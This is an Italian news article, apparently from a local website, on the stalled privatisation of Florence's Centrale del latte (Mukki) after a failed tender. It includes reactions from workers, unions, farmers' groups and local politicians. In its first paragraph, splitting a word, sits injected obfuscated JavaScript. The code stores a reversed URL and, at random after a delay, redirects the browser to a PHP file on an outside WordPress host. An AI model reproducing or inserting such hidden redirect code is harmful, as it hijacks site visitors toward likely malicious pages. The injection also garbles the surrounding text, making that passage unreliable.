Ennesima puntata della privatizzazione della Centrale del latte

image_pdfimage_print

Privatizzazione della Centrale del latte, infatti, le offerte sono state presentate solo da Parmalat e Cooperlat. Ma nessuna delle due ha presentato, entro il termine previsto, le fidejussioni previste dal b (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando di gara, che ammontavano a 5 milioni di euro. Dopo il fallimento della vendita, si sono scatenate polemiche ed accuse. I lavoratori della Centrale del latte di Firenze, Pistoia e Livorno, in una lettera diretta alle Istituzioni, hanno espresso preoccupazione per la piega presa dal processo di privatizzazione. Il loro timore si riferiva ad una probabile ‘trattativa privata’ che, per andare a buon fine, ‘rischia, si legge nella lettera, di mollare sulle garanzie o sul prezzo, o su entrambe le cose’. I dipendenti della Mukki non si sono mai opposti alla vendita dell’azienda, e forse la loro fiducia è stata un errore. Adesso infatti si chiedono per quale motivo si debba ‘svendere’ a tutti i costi, mettendo in pericolo il delicato equilibrio che si è creato sul territorio.
Il patrimonio della centrale comprende i 214 dipendenti diretti, 200 ‘padroncini’ per la consegna dei prodotti, 170 stalle toscane conferenti (l’80% delle quali sparpagliate in zone montane), e non meno di 70 lavoratori di ditte e cooperative gravitanti nella struttura per facchinaggio, pulizie, vigilanza, manutenzioni. Ha senso mettere a rischio tutto questo?
‘Perché vendere un’azienda che fa reddito e profit?’, si chiede Adriano Fratini, segretario generale provinciale della Cisl di Firenze. Contrario ad una vendita attraverso contrattazione privata, Fratini ha espresso anche ‘dubbi sulla gestione da parte dell’amministrazione comunale’. In questo momento, la priorità, sia per i lavoratori della Centrale che per la Cisl, è la costruzione del nuovo stabilimento nell’area della Mercafir, che rappresenta la certezza di continuità delle attività nel Comune di Firenze.
Criticando ‘l’ennesimo flop in materia di privatizzazione di questa giunta’, il capogruppo di Azione per Firenze, Gabriele Toccafondi, ha proposto di rimandare la cessione delle quote azionarie al 2005, con il nuovo stabilimento ultimato. A favore dell’interruzione del processo di vendita della Centrale del latte anche il consigliere regionale dell’Udc, Marco Carraresi. Ha infatti sollecitato la Regione ad invitare i Comuni proprietari della Centrale a procedere verso la dismissione dell’azienda lattiera ‘solo in condizioni certe che diano piena legittimità e convenienza ad una vendita che rischia altrimenti di relegare la tutela degli interessi dei consumatori, dei produttori e degli stessi lavoratori ad un ruolo di assoluta marginalità’.
Ma i timori dei lavoratori della Mukki, purtroppo, si sono rivelati fondati. Dopo aver certificato il fallimento della gara, l’assessore comunale alle privatizzazione Simone Tani, ha dichiarato di essere costretto ‘a malincuore’ ad imboccare la strada del ‘procedimento negoziale’, in pratica una trattativa privata non ancora ben definita. Il motivo? Tutto sta nel fatto che ‘la realizzazione dei nuovi impianti si basa anche sull’ingresso delle risorse della privatizzazione’, senza le quali il processo di modernizzazione dovrebbe bloccarsi. Ma Tani è subito stato smentito. I lavoratori, in una seconda lettera, hanno dichiarato che ‘il consiglio di amministrazione della centrale ha chiesto alla direzione di valutare l’ipotesi di dover costruire lo stabilimento in assenza del privato e, a certe condizioni, la risposta è stata positiva’. Non va dimenticato poi l’interessamento per un ingresso nelle trattative del presidente della Regione Martini, cosa che farebbe trovare altre risorse pubbliche. Inoltre, da Conti, consigliere della Margherita, l’invito a tutti i Comuni dell’hinterland a partecipare per una piccola quota, in modo da avere a disposizione altre entrate per far fronte alla costruzione del nuovo impianto.
‘La Mukki è un bene di tutti, non un affare privato, il processo di vendita non deve puntare solo ai soldi ma anche ad un serio Piano Industriale’. Questa, invece, la reazione di Coldiretti Toscana alla decisione di Palazzo Vecchio di continuare la procedura in versione privata. L’associazione degli agricoltori si è stupita che ‘nessuno a Palazzo Vecchio ha sentito il bisogno di parlare con chi il latte lo produce davvero, non sia altro che una “lotteria” in cui la proprietà si sta andando a cacciare’. Per questo Coldiretti ha chiesto il rispetto delle garanzie e del piano industriale, concertati ai tempi dell’avvio del processo di privatizzazione. Posizione condivisa anche dalla Flai-Cgil di Firenze e regionale, che però non si è pronunciata in merito al processo di privatizzazione. Si è limitata a sottolineare che ‘la trattativa privata non può e non deve essere un gioco al ribasso sia in termini economici che in termini di garanzie sociali’.
Ed eccoci giunti alla domanda di attualità presentatata dal consigliere Vignoli, che dopo tante notizie confuse e voci di corridoio ha chiesto chiarezza. E con la risposta dell’assessore all’agricoltura Lastrucci si apre un nuovo – e probabilmente peggiore – capitolo della saga della Mukki. In Consiglio provinciale sono stati infatti confermati tutti gli impegni della Provincia, spiegando che l’orientamento degli amministratori comunali è di dare vita ad un nuovo percorso di vendita, senza procedure, a trattativa privata. Adesso è davvero ufficiale. Ma la Lastrucci ha sottolineato che i vincoli previsti dal bando di gara – come il mantenimento occupazione, realizzazione della nuova sede, conservazione dei marchi commerciali – verranno comunque rispettati.
Non resta altro che aspettare, per vedere quali saranno i frutti delle decisioni prese.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *